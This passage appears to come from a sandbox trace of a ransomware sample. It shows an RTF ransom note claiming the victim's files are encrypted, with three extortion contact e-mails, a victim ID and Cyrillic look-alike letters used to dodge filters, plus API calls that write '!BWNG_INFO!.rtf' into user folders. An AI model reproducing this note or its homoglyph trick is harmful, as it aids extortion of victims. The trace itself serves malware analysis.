10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x94'\x14\x11/=w\x1e¾\x18¾£þ(\x84Q\x11A\nç\x0c\x8aLW˱\r²\x11\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0036.270] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0036.271] CloseHandle (hObject=0x1ac) returned 1 [0036.272] GetFileAttributesW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\!bwng_info!.rtf")) returned 0xffffffff [0036.272] GetLastError () returned 0x2 [0036.272] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . 